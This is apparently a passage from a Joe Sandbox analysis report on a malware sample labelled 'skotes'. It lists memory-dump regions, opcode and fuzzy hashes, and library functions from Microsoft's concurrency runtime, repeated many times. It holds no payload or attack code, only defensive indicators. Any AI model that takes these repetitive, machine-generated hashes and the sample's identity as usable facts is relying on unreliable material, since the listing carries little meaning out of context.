Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: 940776f467ad90023c8dafea8431ece59dbcc87fb0fe61cf300ebf256c5d5dc2
Instruction ID: 721b5c8b604e3eae2a9809bfcc4a3f70a4243f971c25a72afce30c315cef6ed0
Opcode Fuzzy Hash: 940776f467ad90023c8dafea8431ece59dbcc87fb0fe61cf300ebf256c5d5dc2
Instruction Fuzzy Hash: 79218932500B149FCB25EF69D9908AAF3F9FF5870070049AEE442A7661DB74E905CBA2

Function 00B94885 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00B94893
ListArray.LIBCONCRT ref: 00B948A5

Part of subcall function 00B95555: _InternalDeleteHelper.LIBCONCRT ref: 00B95564

ListArray.LIBCONCRT ref: 00B948AF
_InternalDeleteHelper.LIBCONCRT ref: 00B948C8

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: ef4c9461718b1f99dbcad9c117a2e0a4d19b18ca6abdac02632959a0d400cf72
Instruction ID: 91f65b1aab7eaf2b876e8ea9dc57d882da73bd719ed9ea30ae56f48ed8b1a31a
Opcode Fuzzy Hash: ef4c9461718b1f99dbcad9c117a2e0a4d19b18ca6abdac02632959a0d400cf72
Instruction Fuzzy Hash: 4801D171600521AFCF26BB64D8C6E6EB7EABF4571070101BAF90497662DB60EC22C7A0

Function 00B9EE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00B9EE6A
ListArray.LIBCONCRT ref: 00B9EE7C

Part of subcall function 00B9EF29: _InternalDeleteHelper.LIBCONCRT ref: 00B9EF3B

ListArray.LIBCONCRT ref: 00B9EE86
_InternalDeleteHelper.LIBCONCRT ref: 00B9EE9F

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: ac2ab7cf62293962a812bfef91e1130226c1e7a0262f7ecca7960d609c809473
Instruction ID: ac2213bf1958cb5cfa8d7fb4a07b4e8be4f6cf0f099f7a26b62ea8f4fce99cb1
Opcode Fuzzy Hash: ac2ab7cf62293962a812bfef91e1130226c1e7a0262f7ecca7960d609c809473
Instruction Fuzzy Hash: 9B018631600921AFDE25FB60D9C6E6EBBE9FF4571070504BAF51457652DB20EC11D790

Function 00B9D0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00B9D0C5
ListArray.LIBCONCRT ref: 00B9D0D7

Part of subcall function 00B9C6B2: _InternalDeleteHelper.LIBCONCRT ref: 00B9C6C4

ListArray.LIBCONCRT ref: 00B9D0E1
_InternalDeleteHelper.LIBCONCRT ref: 00B9D0FA

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: fbdfbc3f12decb7c2c072ff49026fb1657126cdfa73b049488aacf70b12bca46
Instruction ID: 9373b7c8b390b60a061cce6243eef05807045907600f86a63747502bd05b58de
Opcode Fuzzy Hash: fbdfbc3f12decb7c2c072ff49026fb1657126cdfa73b049488aacf70b12bca46
Instruction Fuzzy Hash: 9901F932700521BFCE257B61D9D6D6EBBE9FF4571070004BAF50097652DF20EC5187A0

Function 00BA33C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00BA33DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 00BA33EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00BA3407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00BA341F

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: d74038cfc309173a3a6b385b07780ffe14ad33ddb7c1037467f6420f76227ff5
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: B701DB32608514A7CF16EE548842AAF77D9DF46B50F100095FC159B341DE71EE1097A0

Function 00B99510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00B99519

Part of subcall function 00B8F4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00B95486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 00B9953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00B99550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00B99559

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
